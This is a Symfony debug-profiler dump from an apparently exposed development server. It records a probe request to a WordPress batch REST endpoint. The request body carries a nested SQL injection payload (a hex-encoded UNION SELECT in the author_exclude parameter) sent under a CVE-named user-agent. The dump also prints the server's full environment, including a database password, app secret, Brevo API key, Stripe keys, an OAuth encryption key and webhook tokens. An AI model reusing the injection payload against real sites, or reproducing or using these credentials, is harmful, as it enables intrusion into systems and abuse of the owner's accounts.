https://b2c-back.dev.globalcoss.com/?rest_route=%2Fbatch%2Fv1

n/a

Request

GET Parameters

Key Value
rest_route
"/batch/v1"

POST Parameters

No POST parameters

Uploaded Files

No files were uploaded

Request Attributes

Key Value
_remove_csp_headers
true
_stopwatch_token
"1fef30"

Request Headers

Header Value
accept-encoding
"identity"
connection
"close"
content-length
"735"
content-type
"application/json"
host
"b2c-back.dev.globalcoss.com"
user-agent
"cve-2026-63030/1.0"
x-php-ob-level
"1"

Request Content

Pretty

{
    "requests": [
        {
            "method": "POST",
            "path": "\/\/\/"
        },
        {
            "method": "POST",
            "path": "\/wp\/v2\/posts",
            "body": {
                "requests": [
                    {
                        "method": "POST",
                        "path": "\/\/\/"
                    },
                    {
                        "method": "GET",
                        "path": "\/wp\/v2\/posts\/999999?author_exclude=0%29+UNION+SELECT+999999%2C2%2C0x323032302d30312d30312030303a30303a3030%2C0x323032302d30312d30312030303a30303a3030%2C5%2CCONCAT%280x7c7c%2CHEX%28CAST%28%28SELECT+0x4f4b%29AS+CHAR%29%29%2C0x7c7c%29%2C7%2C0x7075626c697368%2C9%2C10%2C11%2C12%2C13%2C14%2C0x323032302d30312d30312030303a30303a3030%2C0x323032302d30312d30312030303a30303a3030%2C17%2C18%2C19%2C20%2C0x706f7374%2C22%2C23--+-&orderby=none&per_page=500"
                    },
                    {
                        "method": "GET",
                        "path": "\/wp\/v2\/posts"
                    }
                ]
            }
        },
        {
            "method": "POST",
            "path": "\/batch\/v1",
            "body": {
                "requests": []
            }
        }
    ]
}

Raw

{"requests": [{"method": "POST", "path": "///"}, {"method": "POST", "path": "/wp/v2/posts", "body": {"requests": [{"method": "POST", "path": "///"}, {"method": "GET", "path": "/wp/v2/posts/999999?author_exclude=0%29+UNION+SELECT+999999%2C2%2C0x323032302d30312d30312030303a30303a3030%2C0x323032302d30312d30312030303a30303a3030%2C5%2CCONCAT%280x7c7c%2CHEX%28CAST%28%28SELECT+0x4f4b%29AS+CHAR%29%29%2C0x7c7c%29%2C7%2C0x7075626c697368%2C9%2C10%2C11%2C12%2C13%2C14%2C0x323032302d30312d30312030303a30303a3030%2C0x323032302d30312d30312030303a30303a3030%2C17%2C18%2C19%2C20%2C0x706f7374%2C22%2C23--+-&orderby=none&per_page=500"}, {"method": "GET", "path": "/wp/v2/posts"}]}}, {"method": "POST", "path": "/batch/v1", "body": {"requests": []}}]}

Response

Response Headers

Header Value
cache-control
"no-cache, private"
content-type
"text/html; charset=UTF-8"
date
"Fri, 09 Oct 2026 09:41:30 GMT"
x-debug-exception
"No%20matching%20accepted%20Response%20format%20could%20be%20determined"
x-debug-exception-file
"%2Fvar%2Fwww%2Fcoss-b2c-backend%2Fvendor%2Ffriendsofsymfony%2Frest-bundle%2FEventListener%2FFormatListener.php:59"
x-debug-token
"287c8d"
x-debug-token-link
"https://b2c-back.dev.globalcoss.com/_profiler/4fcb80"
x-previous-debug-token
"4fcb80"
x-robots-tag
"noindex"

Cookies

Request Cookies

No request cookies

Response Cookies

No response cookies

Session

Session Metadata

No session metadata

Session Attributes

No session attributes

Session Usage

0 Usages
Stateless check enabled

Session not used.

Flashes

Flashes

No flash messages were created.

Server Parameters

Server Parameters

Defined in .env

Key Value
API_ACQUISITION_TOKEN
"CvHcunDfL9udPtg9cklVAIBbBtdn0Lr0Cmo7SUVUWVCSeejgHKvBMIsHU5pIVkIN"
APP_ENV
"dev"
APP_MIN_VERSION_ANDROID
"2.0.0"
APP_MIN_VERSION_IOS
"2.0.0"
APP_SECRET
"b00fb2916c6fbb39f55f4bffc183dbf1"
APP_URL
"https://b2c-back.dev.globalcoss.com"
BREVO_API_KEY
"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"
BREVO_WEBHOOK_TOKEN
"vpco07KLRWtQHyrqYwpAGQ8SgW8rfL246CyjbO46E0fRQDs1biO9fOpHqukd97I9"
CORS_ALLOW_ORIGIN
"^https?://(localhost|127\.0\.0\.1)(:[0-9]+)?$"
DATABASE_URL
"mysql://b2c:eJ2diTA8BgZ4wLZn*Xr_ToTY3iQFsYsz@127.0.0.1:3306/b2c?serverVersion=mariadb-10.5.15"
DOMOSCIO_CLIENT_ID
"109"
DOMOSCIO_TOKEN
"ae9e3deb62b07ac2c400d9dff2b67453"
MAILER_DSN
"sendinblue+api://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@default"
MESSENGER_TRANSPORT_DSN
"doctrine://default?auto_setup=0"
NODE_BINARY
"/home/ubuntu/.nvm/versions/node/v18.20.5/bin/node"
OAUTH2_ENCRYPTION_KEY
"kNT+Bs0jMhnwfY7XGiMttB6n6OlOy+A5yIYTBz+8EDg="
SENTRY_DSN
"https://a449a77e87a83d0ccb3c8d7b3e0045aa@o4506439126810624.ingest.us.sentry.io/4511150336638976"
STRIPE_SECRET_KEY
"sk_test_51TsgDNGy0ijIbhXkfAiVFWC6AyhahSSxlUaBN0IlWEWwdyFZ2k61pT7V9cBobUywzooZUufOdvMXn5o9yN4Eye2o00DoX9zOvE"
STRIPE_WEBHOOK_SECRET
"whsec_rCoF2WcGmOC1iBjry6TyO6qULzucMa76"

Defined as regular env variables

Key Value
APP_DEBUG
"1"
CONTENT_LENGTH
"735"
CONTENT_TYPE
"application/json"
DOCUMENT_ROOT
"/var/www/coss-b2c-backend/public"
DOCUMENT_URI
"/index.php"
FCGI_ROLE
"RESPONDER"
GATEWAY_INTERFACE
"CGI/1.1"
HOME
"/home/ubuntu"
HTTPS
"on"
HTTP_ACCEPT_ENCODING
"identity"
HTTP_CONNECTION
"close"
HTTP_CONTENT_LENGTH
"735"
HTTP_CONTENT_TYPE
"application/json"
HTTP_HOST
"b2c-back.dev.globalcoss.com"
HTTP_USER_AGENT
"cve-2026-63030/1.0"
PHP_SELF
"/index.php"
QUERY_STRING
"rest_route=/batch/v1"
REDIRECT_STATUS
"200"
REMOTE_ADDR
"161.118.214.16"
REMOTE_PORT
"55169"
REMOTE_USER
""
REQUEST_METHOD
"POST"
REQUEST_SCHEME
"https"
REQUEST_TIME
1791538890
REQUEST_TIME_FLOAT
1791538890.1522
REQUEST_URI
"/?rest_route=/batch/v1"
SCRIPT_FILENAME
"/var/www/coss-b2c-backend/public/index.php"
SCRIPT_NAME
"/index.php"
SERVER_ADDR
"57.129.74.50"
SERVER_NAME
"b2c-back.dev.globalcoss.com"
SERVER_PORT
"443"
SERVER_PROTOCOL
"HTTP/1.1"
SERVER_SOFTWARE
"nginx/1.24.0"
SYMFONY_DOTENV_VARS
"APP_ENV,APP_SECRET,MESSENGER_TRANSPORT_DSN,DATABASE_URL,MAILER_DSN,OAUTH2_ENCRYPTION_KEY,CORS_ALLOW_ORIGIN,DOMOSCIO_CLIENT_ID,DOMOSCIO_TOKEN,APP_MIN_VERSION_ANDROID,APP_MIN_VERSION_IOS,SENTRY_DSN,APP_URL,API_ACQUISITION_TOKEN,BREVO_API_KEY,STRIPE_WEBHOOK_SECRET,STRIPE_SECRET_KEY,BREVO_WEBHOOK_TOKEN,NODE_BINARY"
USER
"ubuntu"

Sub Requests 1

ErrorController (token = 4fcb80)

Key Value
_controller
"error_controller"
_stopwatch_token
"431aef"
exception
Symfony\Component\HttpKernel\Exception\NotAcceptableHttpException {#428
  #message: "No matching accepted Response format could be determined"
  #code: 0
  #file: "/var/www/coss-b2c-backend/vendor/friendsofsymfony/rest-bundle/EventListener/FormatListener.php"
  #line: 59
  -statusCode: 406
  -headers: []
  trace: {
    /var/www/coss-b2c-backend/vendor/friendsofsymfony/rest-bundle/EventListener/FormatListener.php:59 {
      FOS\RestBundle\EventListener\FormatListener->onKernelRequest(RequestEvent $event): void …
      › if (HttpKernelInterface::MASTER_REQUEST === $event->getRequestType()) {
      ›     throw new NotAcceptableHttpException('No matching accepted Response format could be determined');
      › }
    }
    /var/www/coss-b2c-backend/vendor/symfony/event-dispatcher/Debug/WrappedListener.php:117 {
      Symfony\Component\EventDispatcher\Debug\WrappedListener->__invoke(object $event, string $eventName, EventDispatcherInterface $dispatcher): void …
      › 
      › ($this->optimizedListener ?? $this->listener)($event, $eventName, $dispatcher);
      › 
    }
    /var/www/coss-b2c-backend/vendor/symfony/event-dispatcher/EventDispatcher.php:230 {
      Symfony\Component\EventDispatcher\EventDispatcher->callListeners(iterable $listeners, string $eventName, object $event) …
      ›     }
      ›     $listener($event, $eventName, $this);
      › }
    }
    /var/www/coss-b2c-backend/vendor/symfony/event-dispatcher/EventDispatcher.php:59 {
      Symfony\Component\EventDispatcher\EventDispatcher->dispatch(object $event, string $eventName = null): object …
      › if ($listeners) {
      ›     $this->callListeners($listeners, $eventName, $event);
      › }
    }
    /var/www/coss-b2c-backend/vendor/symfony/event-dispatcher/Debug/TraceableEventDispatcher.php:154 {
      Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher->dispatch(object $event, string $eventName = null): object …
      › try {
      ›     $this->dispatcher->dispatch($event, $eventName);
      › } finally {
    }
    /var/www/coss-b2c-backend/vendor/symfony/http-kernel/HttpKernel.php:129 {
      Symfony\Component\HttpKernel\HttpKernel->handleRaw(Request $request, int $type = self::MAIN_REQUEST): Response …
      › $event = new RequestEvent($this, $request, $type);
      › $this->dispatcher->dispatch($event, KernelEvents::REQUEST);
      › 
    }
    /var/www/coss-b2c-backend/vendor/symfony/http-kernel/HttpKernel.php:75 {
      Symfony\Component\HttpKernel\HttpKernel->handle(Request $request, int $type = HttpKernelInterface::MAIN_REQUEST, bool $catch = true) …
      › try {
      ›     return $this->handleRaw($request, $type);
      › } catch (\Exception $e) {
    }
    /var/www/coss-b2c-backend/vendor/symfony/http-kernel/Kernel.php:202 {
      Symfony\Component\HttpKernel\Kernel->handle(Request $request, int $type = HttpKernelInterface::MAIN_REQUEST, bool $catch = true) …
      › try {
      ›     return $this->getHttpKernel()->handle($request, $type, $catch);
      › } finally {
    }
    /var/www/coss-b2c-backend/vendor/symfony/runtime/Runner/Symfony/HttpKernelRunner.php:35 {
      Symfony\Component\Runtime\Runner\Symfony\HttpKernelRunner->run(): int …
      › {
      ›     $response = $this->kernel->handle($this->request);
      ›     $response->send();
    }
    /var/www/coss-b2c-backend/vendor/autoload_runtime.php:35 {
      require_once …
      ›         ->getRunner($app)
      ›         ->run()
      › );
    }
    /var/www/coss-b2c-backend/public/index.php:5 {
      › 
      › require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
      › 
      arguments: {
        "/var/www/coss-b2c-backend/vendor/autoload_runtime.php"
      }
    }
  }
}
logger
Symfony\Bridge\Monolog\Logger {#219 …8}